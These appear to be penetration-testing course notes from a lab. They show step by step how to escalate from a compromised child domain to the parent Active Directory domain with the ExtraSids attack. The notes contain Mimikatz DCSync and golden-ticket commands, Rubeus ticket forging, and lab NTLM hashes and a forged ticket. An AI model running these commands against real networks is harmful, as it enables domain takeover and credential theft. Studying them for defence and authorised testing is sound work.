πŸͺŸAttacking Domain Trusts From Windows

SID History

domain,The sidHistory is used in migration scenarios. If a user in one domain is migrated to another domain a new account is created in the second domain. The original user's SID will added to the new user's SID history attribute ensuring that the user can access the original domain still.

It is intended to work across all domain but can work in the same domain. We can use Mimikatz to perform SID history inject and add admin accounts to the SID history attribute of an account they control.

ExtraSids Attack β€” MimiKatz

This allows for the compromise of a parent domain once the child domain has been compromised. Within the same AD forst the sidHiostory property is respected due to a lack of SID filtering protection.

To perform this attack after compromising a child domain, we need the following:

  • The KRBTGT hash for the child domain

  • The SID for the child domain

  • The name of a target user in the child domain (does not need to exist!)

  • The FQDN of the child domain.

  • The SID of the Enterprise Admins group of the root domain.

  • With this data collected, the attack can be performed with Mimikatz.

Obtaining the KRBTGT Account's NT Hash

We need to obtain the NT hash for the KRBTGT account which a service account for the Key Distribution Center (KDC) in AD. If we have compromised the child domain we can login as a Domain Admin and perform the DCSysnc attack.

mimikatz # lsadump::dcsync /user:LOGISTICS\krbtgt
[DC] 'LOGISTICS.INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC02.LOGISTICS.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'LOGISTICS\krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **

SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Account expiration   :
Password last change : 11/1/2021 11:21:33 AM
Object Security ID   : S-1-5-21-2806153819-209893948-922872689-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 9d765b482771505cbe97411065964d5f
    ntlm- 0: 9d765b482771505cbe97411065964d5f
    lm  - 0: 69df324191d4a80f0ed100c10f20561e

Using Get-DomainSID

Gets the SID for the child domain with PowerView

Get-DomainSID

S-1-5-21-2806153819-209893948-922872689

Obtaining Enterprise Admins Group's SID using Get-DomainGroup

We can obtain the SID for the Enterprise Admins group in the parent domain.

Get-DomainGroup -Domain INLANEFREIGHT.LOCAL -Identity "Enterprise Admins" | select distinguishedname,objectsid

distinguishedname                                       objectsid                                    
-----------------                                       ---------                                    
CN=Enterprise Admins,CN=Users,DC=INLANEFREIGHT,DC=LOCAL S-1-5-21-3842939050-3880317879-2865463114-519

Data Points So Far

  • The KRBTGT hash for the child domain

  • The SID for the child domain

  • The name of a target user. We can use a fake user to create our Golden Ticket.

  • The FQDN of the child domain

  • The SID of the Enterprise Admins Group of the root domain

Using ls to Confirm No Access

ls \\academy-ea-dc01.inlanefreight.local\c$

ls : Access is denied
At line:1 char:1

Creating a Golden Ticket with Mimikatz

mimikatz.exe

mimikatz # kerberos::golden /user:hacker /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689 /krbtgt:9d765b482771505cbe97411065964d5f /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /ptt
User      : hacker
Domain    : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
SID       : S-1-5-21-2806153819-209893948-922872689
User Id   : 500
Groups Id : *513 512 520 518 519
Extra SIDs: S-1-5-21-3842939050-3880317879-2865463114-519 ;
ServiceKey: 9d765b482771505cbe97411065964d5f - rc4_hmac_nt
Lifetime  : 3/28/2022 7:59:50 PM ; 3/25/2032 7:59:50 PM ; 3/25/2032 7:59:50 PM
-> Ticket : ** Pass The Ticket **

 * PAC generated
 * PAC signed
 * EncTicketPart generated
 * EncTicketPart encrypted
 * KrbCred generated

Golden ticket for 'hacker @ LOGISTICS.INLANEFREIGHT.LOCAL' successfully submitted for current session

Confirming Ticket is in Memory

We confirm that Kerberos Ticket for the new non-existent user is in memory

klist

Current LogonId is 0:0xf6462

Cached Tickets: (1)

#0>     Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
        Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
        KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
        Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent
        Start Time: 3/28/2022 19:59:50 (local)
        End Time:   3/25/2032 19:59:50 (local)
        Renew Time: 3/25/2032 19:59:50 (local)
        Session Key Type: RSADSI RC4-HMAC(NT)
        Cache Flags: 0x1 -> PRIMARY
        Kdc Called:

Lisiting the Entire C: Drive of the DC

ls \\academy-ea-dc01.inlanefreight.local\c$
 Volume in drive \\academy-ea-dc01.inlanefreight.local\c$ has no label.
 Volume Serial Number is B8B3-0D72

 Directory of \\academy-ea-dc01.inlanefreight.local\c$

09/15/2018  12:19 AM    <DIR>          PerfLogs
10/06/2021  01:50 PM    <DIR>          Program Files
09/15/2018  02:06 AM    <DIR>          Program Files (x86)
11/19/2021  12:17 PM    <DIR>          Shares
10/06/2021  10:31 AM    <DIR>          Users
03/21/2022  12:18 PM    <DIR>          Windows
               0 File(s)              0 bytes
               6 Dir(s)  18,080,178,176 bytes free

ExtraSids Attack β€” Rubeus

We can also use Rubeus to perform the same attack. We first check like before to see if we get "No Access" before running Rubeus.

Creating a Golden Ticket Using Rubeus

We next run Rubeus with the /rc4 flag and pass the NT hash and then use the /sids flag to pass the sids for the account

.\Rubeus.exe golden /rc4:9d765b482771505cbe97411065964d5f /domain:LOGISTICS.INLANEFREIGHT.LOCAL /sid:S-1-5-21-2806153819-209893948-922872689  /sids:S-1-5-21-3842939050-3880317879-2865463114-519 /user:hacker /ptt

   ______        _                      
  (_____ \      | |                     
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v2.0.2 

[*] Action: Build TGT

[*] Building PAC

[*] Domain         : LOGISTICS.INLANEFREIGHT.LOCAL (LOGISTICS)
[*] SID            : S-1-5-21-2806153819-209893948-922872689
[*] UserId         : 500
[*] Groups         : 520,512,513,519,518
[*] ExtraSIDs      : S-1-5-21-3842939050-3880317879-2865463114-519
[*] ServiceKey     : 9D765B482771505CBE97411065964D5F
[*] ServiceKeyType : KERB_CHECKSUM_HMAC_MD5
[*] KDCKey         : 9D765B482771505CBE97411065964D5F
[*] KDCKeyType     : KERB_CHECKSUM_HMAC_MD5
[*] Service        : krbtgt
[*] Target         : LOGISTICS.INLANEFREIGHT.LOCAL

[*] Generating EncTicketPart
[*] Signing PAC
[*] Encrypting EncTicketPart
[*] Generating Ticket
[*] Generated KERB-CRED
[*] Forged a TGT for 'hacker@LOGISTICS.INLANEFREIGHT.LOCAL'

[*] AuthTime       : 3/29/2022 10:06:41 AM
[*] StartTime      : 3/29/2022 10:06:41 AM
[*] EndTime        : 3/29/2022 8:06:41 PM
[*] RenewTill      : 4/5/2022 10:06:41 AM

[*] base64(ticket.kirbi):
      doIF0zCCBc+gAwIBBaEDAgEWooIEnDCCBJhhggSUMIIEkKADAgEFoR8bHUxPR0lTVElDUy5JTkxBTkVG
      UkVJR0hULkxPQ0FMojIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5M
      T0NBTKOCBDIwggQuoAMCARehAwIBA6KCBCAEggQc0u5onpWKAP0Hw0KJuEOAFp8OgfBXlkwH3sXu5BhH
      T3zO/Ykw2Hkq2wsoODrBj0VfvxDNNpvysToaQdjHIqIqVQ9kXfNHM7bsQezS7L1KSx++2iX94uRrwa/S
      VfgHhAuxKPlIi2phwjkxYETluKl26AUo2+WwxDXmXwGJ6LLWN1W4YGScgXAX+Kgs9xrAqJMabsAQqDfy
      k7+0EH9SbmdQYqvAPrBqYEnt0mIPM9cakei5ZS1qfUDWjUN4mxsqINm7qNQcZHWN8kFSfAbqyD/OZIMc
      g78hZ8IYL+Y4LPEpiQzM8JsXqUdQtiJXM3Eig6RulSxCo9rc5YUWTaHx/i3PfWqP+dNREtldE2sgIUQm
      9f3cO1aOCt517Mmo7lICBFXUTQJvfGFtYdc01fWLoN45AtdpJro81GwihIFMcp/vmPBlqQGxAtRKzgzY
      acuk8YYogiP6815+x4vSZEL2JOJyLXSW0OPhguYSqAIEQshOkBm2p2jahQWYvCPPDd/EFM7S3NdMnJOz
      X3P7ObzVTAPQ/o9lSaXlopQH6L46z6PTcC/4GwaRbqVnm1RU0O3VpVr5bgaR+Nas5VYGBYIHOw3Qx5YT
      3dtLvCxNa3cEgllr9N0BjCl1iQGWyFo72JYI9JLV0VAjnyRxFqHztiSctDExnwqWiyDaGET31PRdEz+H
      WlAi4Y56GaDPrSZFS1RHofKqehMQD6gNrIxWPHdS9aiMAnhQth8GKbLqimcVrCUG+eghE+CN999gHNMG
      Be1Vnz8Oc3DIM9FNLFVZiqJrAvsq2paakZnjf5HXOZ6EdqWkwiWpbGXv4qyuZ8jnUyHxavOOPDAHdVeo
      /RIfLx12GlLzN5y7132Rj4iZlkVgAyB6+PIpjuDLDSq6UJnHRkYlJ/3l5j0KxgjdZbwoFbC7p76IPC3B
      aY97mXatvMfrrc/Aw5JaIFSaOYQ8M/frCG738e90IK/2eTFZD9/kKXDgmwMowBEmT3IWj9lgOixNcNV/
      OPbuqR9QiT4psvzLGmd0jxu4JSm8Usw5iBiIuW/pwcHKFgL1hCBEtUkaWH24fuJuAIdei0r9DolImqC3
      sERVQ5VSc7u4oaAIyv7Acq+UrPMwnrkDrB6C7WBXiuoBAzPQULPTWih6LyAwenrpd0sOEOiPvh8NlvIH
      eOhKwWOY6GVpVWEShRLDl9/XLxdnRfnNZgn2SvHOAJfYbRgRHMWAfzA+2+xps6WS/NNf1vZtUV/KRLlW
      sL5v91jmzGiZQcENkLeozZ7kIsY/zadFqVnrnQqsd97qcLYktZ4yOYpxH43JYS2e+cXZ+NXLKxex37HQ
      F5aNP7EITdjQds0lbyb9K/iUY27iyw7dRVLz3y5Dic4S4+cvJBSz6Y1zJHpLkDfYVQbBUCfUps8ImJij
      Hf+jggEhMIIBHaADAgEAooIBFASCARB9ggEMMIIBCKCCAQQwggEAMIH9oBswGaADAgEXoRIEEBrCyB2T
      JTKolmppTTXOXQShHxsdTE9HSVNUSUNTLklOTEFORUZSRUlHSFQuTE9DQUyiEzARoAMCAQGhCjAIGwZo
      YWNrZXKjBwMFAEDgAACkERgPMjAyMjAzMjkxNzA2NDFapREYDzIwMjIwMzI5MTcwNjQxWqYRGA8yMDIy
      MDMzMDAzMDY0MVqnERgPMjAyMjA0MDUxNzA2NDFaqB8bHUxPR0lTVElDUy5JTkxBTkVGUkVJR0hULkxP
      Q0FMqTIwMKADAgECoSkwJxsGa3JidGd0Gx1MT0dJU1RJQ1MuSU5MQU5FRlJFSUdIVC5MT0NBTA==

[+] Ticket successfully imported!

Confirming the Ticket is in Memory using klist

We once again check to see if the ticket is in memory

klist

Current LogonId is 0:0xf6495

Cached Tickets: (1)

#0>	Client: hacker @ LOGISTICS.INLANEFREIGHT.LOCAL
	Server: krbtgt/LOGISTICS.INLANEFREIGHT.LOCAL @ LOGISTICS.INLANEFREIGHT.LOCAL
	KerbTicket Encryption Type: RSADSI RC4-HMAC(NT)
	Ticket Flags 0x40e00000 -> forwardable renewable initial pre_authent 
	Start Time: 3/29/2022 10:06:41 (local)
	End Time:   3/29/2022 20:06:41 (local)
	Renew Time: 4/5/2022 10:06:41 (local)
	Session Key Type: RSADSI RC4-HMAC(NT)
	Cache Flags: 0x1 -> PRIMARY 
	Kdc Called: 

Performing a DCSync Attack

Finally, we can run the DCSync attack against the parent domain, target the lad_adm Domain Admin user in this case

.\mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > https://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > https://pingcastle.com / https://mysmartlogon.com ***/

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm
[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

If we're dealing with multiple domain and our target domain is not the same as the user's domain, then we will need to specify the exact domain to perform the DCSync attack. We can do this with the /domain flag.

mimikatz # lsadump::dcsync /user:INLANEFREIGHT\lab_adm /domain:INLANEFREIGHT.LOCAL

[DC] 'INLANEFREIGHT.LOCAL' will be the domain
[DC] 'ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL' will be the DC server
[DC] 'INLANEFREIGHT\lab_adm' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : lab_adm

** SAM ACCOUNT **

SAM Username         : lab_adm
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00010200 ( NORMAL_ACCOUNT DONT_EXPIRE_PASSWD )
Account expiration   :
Password last change : 2/27/2022 10:53:21 PM
Object Security ID   : S-1-5-21-3842939050-3880317879-2865463114-1001
Object Relative ID   : 1001

Credentials:
  Hash NTLM: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 0: 663715a1a8b957e8e9943cc98ea451b6
    ntlm- 1: 663715a1a8b957e8e9943cc98ea451b6
    lm  - 0: 6053227db44e996fe16b107d9d1e95a0

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